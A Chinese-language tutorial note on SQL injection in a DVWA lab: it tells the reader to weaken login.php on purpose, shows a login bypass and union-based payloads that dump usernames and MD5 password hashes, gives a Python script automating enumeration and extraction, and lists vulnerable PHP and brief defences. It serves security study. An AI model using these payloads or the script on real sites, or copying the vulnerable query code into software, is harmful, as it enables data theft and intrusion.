WEB安全之:SQL Injection--DVWA环境测试
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
SQL Injection -- DVWA环境测试
1 SQL Injection 概述
服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器;
SQL Injection 主要危害有:
- 榨取数据;
- 执行系统命令;
- 向数据库插入代码;
- 绕过登录验证。
2 环境准备
2.1 下载靶机
metasploitable-linux-2.0.0.zip
2.2 安装靶机
此处忽略,自行百度: 虚拟机安装 Metasploitable2 系统教程
2.3 修改 dvwa
下的 login.php
文件
// 修改 if 条件语句如下:
if( isset( $_POST[ 'Login' ] ) ) {
//
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
$pass = $_POST[ 'password' ];
/* 注释以下内容
$pass = stripslashes( $pass ); // stripslashes() 函数删除反斜杠
$pass = mysql_real_escape_string( $pass ); // mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
// 受影响字符: \x00, \n, \r, \, ', ", \x1a
// 如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
$pass = md5( $pass ); // md5() 函数计算字符串的 MD5 散列。
*/
$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result = @mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );
// if( $result && mysql_num_rows( $result ) == 1 ) { // Login Successful...
// 注释以上内容并复制,修改如下:
// mysql_num_rows( $result ) != 0 执行登陆绕过时,sql 结果为真,将打印出所有表内数据,此时行数可能会大于1。
if( $result && mysql_num_rows( $result ) != 0 ) { // Login Successful...
dvwaMessagePush( "You have logged in as '".$user."'" );
dvwaLogin( $user );
dvwaRedirect( 'index.php' );
}
// Login failed1
dvwaMessagePush( "Login failed" );
dvwaRedirect( 'login.php' );
}
3 SQL Injection 绕过登陆验证测试
在不知道用户名或密码的情况下,通过SQL Injection 绕过登陆验证。直接在密码输入框中写入以下内容(用户名可写可不写):
' OR '1'='1
4 low 等级下 SQL Injection 检测方法测试
将 DVWA Security 等级修改为:low
通过上面 SQL Injection 绕过登陆验证测试
进入 DVWA
主界面下后,选择 SQL Injection
菜单
4.1 正常数据查询
在 User ID
下输入 ‘1’ , 测试查询 User ID 为 ‘1’ 的数据,输出如下:
ID: 1
First name: admin
Surname: admin
观察:此时浏览器 URL 变为:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
SQL实际查询脚本:
SELECT first_name, last_name FROM users WHERE user_id = '1';
4.2 基于报错的检测方法
一般来说,数据库都是使用单引号/双引号等进行闭合,如果直接输入一个单引号/双引号/百分号,数据库因为多出的输入字符导致无法闭合而报错。
在 User ID
下输入 '
, 测试查询 User ID 为 '
的数据,输出如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
由报错日志可知,该设备存在 SQL 注入漏洞。
观察:此时浏览器 URL 变为:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit#
SQL 实际查询脚本:
SELECT first_name, last_name FROM users WHERE user_id = ''';
4.3 基于布尔的检测
在 User ID
下输入 ' OR '1'='1
, 测试查询 User ID 为 '
的数据,输出如下:
ID: ' OR '1'='1
First name: admin
Surname: admin
...
由ID: ' OR '1'='1可知,该设备存在 SQL 注入漏洞。
SQL 实际查询脚本:
SELECT first_name, last_name FROM users WHERE user_id = '' OR '1'='1';
4.4 等级为 low 下的 SQL 相关 PHP 语句:
<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>
5 low 等级下 SQL Injection 利用
5.1 探测表字段数
1' order by 2#
--- 1' order by 2#
ID: 1' order by 2#
First name: admin
Surname: admin
--- 1' order by 3#
Unknown column '3' in 'order clause'
--- 由以上结果可以得出,所查询表的字段数为 2
5.2 探测当前数据库名称及版本
' union select version(),database()#
ID: ' union select version(),database()#
First name: 5.0.51a-3ubuntu5
Surname: dvwa
5.3 探测当前数据库中的表
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
ID: ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
First name: 1
Surname: guestbook,users
5.4 探测当前表中的字段名
' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
ID: ' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar
5.5 探测字段名中的数据
' union select user,password from users#
ID: ' union select user,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: ' union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: ' union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: ' union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: ' union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
6. low 等级下 SQL Injection 检测工具的编写
import optparse, requests
# url = 'http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=FUZZ&Submit=Submit#'
usage = 'web_sqlinjection.py -u url -f dictionary_file'
parser = optparse.OptionParser(usage=usage)
parser.add_option('-u', '--url', metavar='URL', help='the test file', dest='url', type='string')
parser.add_option('-f', '--file', metavar='FILE', help='test file', dest='dic_file', type='string')
(options, args) = parser.parse_args()
url = options.url
print(url)
dic_file = options.dic_file
print(dic_file)
# 探测目标网站是否存在 SQL Injection
fuzz_options = []
def fuzz():
with open(dic_file, 'r') as f:
fuzz_data = f.readlines()
for payload in fuzz_data:
new_url = url.replace('FUZZ', payload.strip())
headers = {'Cookie': 'security=low; PHPSESSID=c42856f6cb009ef1511e98e42321328e'}
r = requests.get(new_url, headers=headers)
result = r.text
if result.find('SQL syntax') != -1:
fuzz_options.append(new_url)
continue
# detect_column_num 探测表字段数
column_num = 0
for i in range(1, 5):
new_url = url.replace('FUZZ', "1'+order+by+{0}%23".format(str(i)))
# new_url = url.replace('FUZZ', "1'+order+by+5%23")
headers = {'Cookie': 'security=low; PHPSESSID=c42856f6cb009ef1511e98e42321328e'}
r = requests.get(new_url, headers=headers)
result = r.text
if result.find('Unknown column') != -1:
column_num = i - 1
print('共计有 %s 个字段数。' % column_num)
break
# php 原代码中,对所查询的字段做了限定,因此只能查到有2个字段,实际是有6个。
# $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
# 探测表名 01
def detect_table_name_01():
"""
对于mysql和Infobright等数据库,information_schema数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
information_schema.tables存储了数据表的元数据信息,下面常用的字段:
table_schema: 记录数据库名;
table_name: 记录数据表名;
engine : 存储引擎;
table_rows: 关于表的粗略行估计;
data_length : 记录表的大小(单位字节);
index_length : 记录表的索引的大小;
row_format: 可以查看数据表是否压缩过;
通过以下命令可以查询 information_schema.tables 信息
use information_schema;
show create table tables;
:return:
"""
# 方法:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
new_url = url.replace('FUZZ',
"1'+union+select+1%2Cgroup_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase()%23")
headers = {'Cookie': 'security=low; PHPSESSID=c42856f6cb009ef1511e98e42321328e'}
r = requests.get(url=new_url, headers=headers)
result = r.text
print(result)
# 探测表名 02
table_list = []
def detect_table_name_02():
tmp_list = []
for i in range(column_num):
tmp_list.append(str(i + 1))
select_para = ",".join(tmp_list)
print(select_para)
"""
另外一种实现方式
tmp_str = ""
for i in range(column):
tmp_str = tmp_str + str(i+1) + ','
tmp_str=tmp_str[:len(tmp_str)-1]
print(tmp_str)
"""
table_name_list = ["admin", "admin123", "guestbook", "root", "administrator", "users", "emails", "referers",
"uagents", "articles"]
for table_name in table_name_list:
#方法: ' union select 1,2 from users#
tmp_url = url.replace("FUZZ", "'+ union+select+{0}+from+{1}%23".format(select_para,table_name))
headers = {'Cookie': 'security=low; PHPSESSID=c42856f6cb009ef1511e98e42321328e'}
r = requests.get(url=tmp_url, headers=headers)
result = r.text
if result.find("doesn't exist") == -1:
table_list.append(table_name)
continue
for name_obj in table_list:
print(name_obj)
# 探测字段名称 01
def detect_column_name_01():
for i in range(column_num):
column_select_para= ','.join(str(i+1))
column_name_list = ['comment_id','comment','name','user_id','first_name','last_name','user','password','avatar']
for table_name in table_list:
for column_name in column_name_list:
tmp_url = url.replace('FUZZ', "'+union+select+1,{0}+from+{1}%23".format(column_name, table_name))
headers = {'Cookie': 'security=low; PHPSESSID=c42856f6cb009ef1511e98e42321328e'}
r = requests.get(url=tmp_url, headers=headers)
result = r.text
# print(result)
if result.find("Unknown column") == -1:
print(table_name,column_name)
# 探测字段名称 02
def detect_column_name_02():
for table in table_list:
# tmp_url = url.replace('FUZZ',"'+union+select+1%2C+group_concat(column_name)+from+information_schema.columns+where+table_name%3D'{0}'%23".format(table))
tmp_url = url.replace('FUZZ',"'+union+select+1%2Cgroup_concat(column_name)+from+information_schema.columns+where+table_name%3D'{0}'%23".format(table))
print(tmp_url)
headers = {'Cookie': 'security=low; PHPSESSID=c42856f6cb009ef1511e98e42321328e'}
r = requests.get(url=tmp_url, headers=headers)
result = r.text
print(result)
# 数据榨取,待优化
def data_extract():
for i in range(column_num):
data_select_para= ','.join(str(i+1))
column_name_list = ['comment_id','comment','name','user_id','first_name','last_name','user','password','avatar']
for table_name in table_list:
for column_name in column_name_list:
tmp_url = url.replace('FUZZ', "'+union+select+1,{0}+from+{1}%23".format(column_name, table_name))
headers = {'Cookie': 'security=low; PHPSESSID=c42856f6cb009ef1511e98e42321328e'}
r = requests.get(url=tmp_url, headers=headers)
result = r.text
print(result)
if __name__ == '__main__':
fuzz()
print('fuzz options')
for obj in fuzz_options:
print(obj)
detect_table_name_02()
detect_column_name_01()
data_extract()
7 medium 等级下 SQL Injection
7.1 1 union select version(),database()#
ID: 1 union select version(),database()#
First name: admin
Surname: admin
ID: 1 union select version(),database()#
First name: 5.0.51a-3ubuntu5
Surname: dvwa
7.2 1 or 1=1
ID: 1 or 1=1
First name: admin
Surname: admin
ID: 1 or 1=1
First name: Gordon
Surname: Brown
ID: 1 or 1=1
First name: Hack
Surname: Me
ID: 1 or 1=1
First name: Pablo
Surname: Picasso
ID: 1 or 1=1
First name: Bob
Surname: Smith
7.2 1 order by 2#
ID: 1 order by 2#
First name: admin
Surname: admin
7.3 探测当前数据库中的表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
ID: 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
First name: admin
Surname: admin
ID: 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
First name: 1
Surname: guestbook,users
7.4 探测当前表中的字段名
1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
--- 1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
--- 报错:
Unknown column 'users' in 'where clause'
--- 对 users 进行转义成十六进制ASCII码:users=7573657273
ID: 1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
First name: admin
Surname: admin
ID: 1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar
7.5 探测字段名中的数据
1 union select user,password from users#
ID: 1 union select user,password from users#
First name: admin
Surname: admin
ID: 1 union select user,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 1 union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 1 union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 1 union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 1 union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
7.7 等级为 low 下的 SQL 相关 PHP 语句
<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = mysql_real_escape_string($id);
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
// SQL 注入类型为数字型注入
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
?>
8 high 等级下 SQL Injection
is_numeric()
函数用于判断是否为数字,如果不是数字,不能够执行之前的union等查询操作
<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
}
?>
9 SQL Injection 预防策略
stripslashes(); // stripslashes() 函数删除反斜杠
mysql_real_escape_string() // 函数转义 SQL 语句中使用的字符串中的特殊字符。受影响字符: \x00, \n, \r, \, ', ", \x1a。如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
is_numeric() // 函数用于判断是否为数字,如果不是数字,不能够执行之前的union等查询操作